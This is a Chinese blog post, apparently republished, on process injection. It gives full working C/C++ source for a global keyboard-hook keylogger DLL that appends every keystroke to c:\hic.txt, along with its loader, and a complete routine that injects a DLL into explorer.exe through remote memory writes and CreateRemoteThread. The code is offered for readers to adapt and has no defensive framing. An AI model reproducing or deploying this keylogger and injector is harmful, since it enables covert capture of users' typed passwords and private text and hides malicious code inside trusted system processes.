zoukankan      html  css  js  c++  java
  • 进程注入

    这里把很早前的一些文章陆续汇总下,以后研究方向会专注,本来就是菜鸟,总这一竿子那一竿子,最后一场空,以后主要是嵌入式,PC要放一放了.....

    预备知识:键盘记录功能需要用到全局键盘钩子(有局部钩子和全局钩子之分),而全局键盘钩子需要一个单独的dll文件,因为这个dll文件会被注入到任意获得键盘消息的进程中(个别系统进程无法注入),向操作系统注册钩子后,再在回调函数中处理对应的键盘事件就OK....     
    另外,虽然dll也属可执行文件,但它需要带头大哥的指引才能启动(exe文件),因此,还需要一个起动机,也就是一个exe文件来帮助启动...

    (DEV-CPP编译通过)先看一下效果:

    这里贴两段程序,第一段是全局键盘钩子例程,第二段是一个比较完整的注入例程


    1、全局键盘钩子例程:

    dll.h :

    #ifndef _DLL_H_
    #define _DLL_H_

    #if BUILDING_DLL
    # define DLLIMPORT __declspec (dllexport)
    #else /* Not BUILDING_DLL */
    # define DLLIMPORT __declspec (dllimport)
    #endif /* Not BUILDING_DLL */

    #include <windows.h>
    DLLIMPORT void HelloWorld (void);
    LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam);
    BOOL __declspec(dllexport) installhook();
    BOOL __declspec(dllexport) UnHook();

    #endif /* _DLL_H_ */

    dll.cpp :

    #include "dll.h"
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>


    #pragma data_seg(".SHARDAT") //共享段
    static HHOOK hkb = NULL;
    //HWND hLastWnd = NULL;
    FILE *fp = NULL;
    #pragma data_seg()
    #pragma comment (linker,"/SECTION:.SHARDAT,RWS")

    HINSTANCE hinst = NULL;

    DLLIMPORT void HelloWorld ()
    {
    MessageBox (0, "Hello World from DLL!\n", "Hi", MB_ICONINFORMATION);
    }

    // DLL入口
    BOOL APIENTRY DllMain (HINSTANCE hInst /* Library instance handle. */ ,
    DWORD reason /* Reason this function is being called. */ ,
    LPVOID reserved /* Not used. */ )
    {
    switch (reason)
    {
    case DLL_PROCESS_ATTACH:
    hinst = hInst;
    break;

    case DLL_PROCESS_DETACH:
    break;

    case DLL_THREAD_ATTACH:
    break;

    case DLL_THREAD_DETACH:
    break;
    }

    /* Returns TRUE on success, FALSE on failure */
    return TRUE;
    }

    LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) //回调函数,自己DIY吧...
    {
    /*
    if(((DWORD)lParam&0x40000000) && (HC_ACTION==nCode))
    {
    switch(wParam)
    {
    case VK_F1:
    MessageBox(NULL,"F1","F1",MB_OK); break;
    case 'A':
    MessageBox(NULL,"A","A",MB_OK);
    }
    }
    */

    /*
    HWND hWnd = GetActiveWindow();
    if (hWnd != hLastWnd)
    {
    char szTemp[256] = {0};
    GetWindowText(hWnd,szTemp,sizeof(szTemp));
    fprintf(fp,"\r\n--- [%s] ---\r\n",szTemp);
    hLastWnd = hWnd;
    }
    BYTE szKeyState[256] = {0};
    GetKeyboardState(szKeyState);
    int nScan = lParam >> 16;
    WORD szKey = 0;
    int len = ToAscii(wParam,nScan,szKeyState,&szKey,0);
    if (len > 0)
    {
    //fprintf(fp,"[%c]",char(szKey));
    }
    */

    char ch;
    if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) //捕获按键按下
    {
    if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
    {
    fp=fopen("c:\\hic.txt","a+");
    if (wParam==VK_RETURN)
    {
    ch='\n';
    fwrite(&ch,1,1,fp);
    }
    else
    {
    BYTE ks[256];
    GetKeyboardState(ks);
    WORD w;
    UINT scan;
    scan=0;
    ToAscii(wParam,scan,ks,&w,0);
    ch = (char)(w);
    fwrite(&ch,1,1,fp);
    }
    fclose(fp);
    }
    }
    LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
    return RetVal;
    }

    BOOL __declspec(dllexport)__stdcall installhook()
    {
    fp=fopen("c:\\hic.txt","w");
    fclose(fp);
    hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,0); //键盘钩子
    return TRUE;
    }

    BOOL __declspec(dllexport) UnHook()
    {
    BOOL unhooked = UnhookWindowsHookEx(hkb);
    return unhooked;
    }

    至于exe启动机的代码要简单多了:

     #include "dll.h" 
    #include <iostream>
    #include <windows.h>
    using namespace std;


    typedef bool (*Fun)();
    HMODULE g_hHook = 0;
    Fun setHook = NULL;

    int main(int argc, char *argv[])
    {
    //InstallHook();
    g_hHook = LoadLibrary("Inject.dll");
    setHook = (Fun)GetProcAddress(g_hHook,"installhook");
    setHook();
    system("pause");
    return 0;

    }

    .

    2、完整进程注入例程:

    #include <stdio.h>
    #include <Windows.h>
    #include <TlHelp32.h>
    #include <io.h>

    #define INJECT_PROCESS_NAME "explorer.exe" //"iexplore.exe"

    // 根据进程名获取进程PID值
    long GetProcessID(char *pProcessName)
    {
    /* 定义变量 */
    BOOL bRet;
    HANDLE hProcessSnap;
    unsigned long ProcessID = -1;
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);

    // 所有进程快照
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if(hProcessSnap == INVALID_HANDLE_VALUE)
    {
    printf("CreateToolhelp32Snapshot failed. error:%d.\n", GetLastError());
    return -1;
    }

    // 遍历进程快照,轮流显示每个进程的信息
    bRet = Process32First(hProcessSnap, &pe);
    while(bRet)
    {
    // pe.szExeFile保存的值为进程对应的可执行文件名
    if(strcmp(pe.szExeFile, pProcessName) == 0)
    {
    ProcessID = pe.th32ProcessID;
    break;
    }

    bRet = Process32Next(hProcessSnap, &pe);
    }

    // 清除掉进程快照对象
    CloseHandle(hProcessSnap);

    return ProcessID;
    }

    BOOL InjectDLL()
    {
    long pid = 0;
    int ret = 0;
    char szDllPath[MAX_PATH] = {0};

    // 获取DLL全路径,这里为/windows/system32/InjectDLL.dll
    // 同时判断有无访问权限
    ret = GetSystemDirectory(szDllPath, MAX_PATH);
    if(szDllPath[ret - 1] != '\\')
    strcat(szDllPath, "\\");
    strcat(szDllPath, "InjectDLL.dll");
    if(_access(szDllPath, 0) == -1)
    {
    printf("Access %s Failed.\n", szDllPath);
    return -1;
    }
    printf("Inject DLL' Path: %s .\n", szDllPath);

    // 获取要注入进程的PID
    pid = GetProcessID(INJECT_PROCESS_NAME);
    if(pid == -1)
    {
    printf("Get Inject ProcessID Failed.\n");
    return FALSE;
    }
    printf("Inject PID:[%d] .\n", pid);

    HANDLE hProcess = NULL;
    HANDLE hRemoteThread = NULL;
    void *pLibRemote = NULL;
    DWORD hLibModule = 0;
    HMODULE hKernel32 = NULL;

    hKernel32 = GetModuleHandle("Kernel32");
    if(hKernel32 == NULL)
    {
    printf("Get Kernel32 Handle Failed.\n");
    return FALSE;
    }

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid);
    if(hProcess == NULL)
    {
    printf("Open Inject Process Failed.\n");
    return FALSE;
    }

    // 1. Allocate memory in the remote process for szDllPath
    // 2. Write szDllPath to the allocated memory
    pLibRemote = VirtualAllocEx(hProcess,
    NULL,
    sizeof(szDllPath),
    MEM_COMMIT,
    PAGE_READWRITE);

    ret = WriteProcessMemory(hProcess,
    pLibRemote,
    (void *) szDllPath,
    sizeof(szDllPath),
    NULL);
    if(ret == 0)
    {
    printf("Write Remote Process Memory Failed.\n");
    return FALSE;
    }

    // Load "LibSpy.dll" into the remote process
    // (via CreateRemoteThread & LoadLibrary)
    hRemoteThread = CreateRemoteThread(hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)
    GetProcAddress(hKernel32, "LoadLibraryA"),
    pLibRemote,
    0,
    NULL);

    WaitForSingleObject(hRemoteThread, INFINITE);

    // Get handle of the loaded module
    GetExitCodeThread(hRemoteThread, &hLibModule);

    // Clean up
    CloseHandle(hRemoteThread);
    VirtualFreeEx(hProcess, pLibRemote, sizeof(szDllPath), MEM_RELEASE);

    // 关闭远程进程句柄
    CloseHandle(hProcess);
    printf("Inject Finished.\n");
    return TRUE;
    }

    int main(int argc, char *argv[])
    {
    InjectDLL();
    system("pause");
    return 0;
    }
  • 相关阅读:
    kindeditor 创建多个 取值方式
    新浪微博分享平台地址
    thinkphp 直接写SQL
    nginx下禁止目录运行php
    phpcms_v9 同步登陆的BUG
    yii framework 创建项目
    phpcms_v9 关闭debug
    ucenter忘记创始人密码简单解决方法
    XSS 常见手段
    如何在 C 中使用 64 位整数?
  • 原文地址:https://www.cnblogs.com/hicjiajia/p/2410375.html
Copyright © 2011-2022 走看看